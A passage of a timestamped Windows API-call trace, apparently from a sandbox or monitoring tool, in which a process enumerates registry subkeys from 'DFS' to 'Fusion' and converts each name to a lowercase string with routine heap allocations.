Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.239] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x30b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0035.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x30c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0035.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.240] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x30b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0035.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0035.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.240] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.240] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.240] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.240] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x30b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0035.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x30c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0035.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.240] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.240] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.240] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.240] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x30b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0035.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0035.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.240] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.240] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.240] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.240] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x30b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0035.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.240] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x30c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0035.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.240] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.241] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x30b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0035.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0035.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x30c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0035.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.241] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x30b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0035.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x30c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0035.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.241] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x30b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0035.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0035.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.241] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.241] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x30b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0035.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0035.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.241] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x30c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0035.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.242] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x30b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0035.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0035.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.242] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x30b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0035.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x30c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0035.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.242] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x30b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0035.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0035.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.242] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.242] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x30b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0035.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0035.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x30c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0035.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.243] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x30b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0035.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0035.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.243] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x30b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0035.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x30c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0035.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.243] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x30b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0035.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.243] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0035.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.243] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.243] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x30b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0035.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x30c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0035.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.244] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x30b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0035.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0035.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.244] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x30b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0035.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x30c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0035.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.244] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x30b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0035.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0035.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.244] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x30c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0035.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.244] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.245] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x30b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0035.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0035.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.245] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x30c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0035.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.245] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.245] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x30b930, 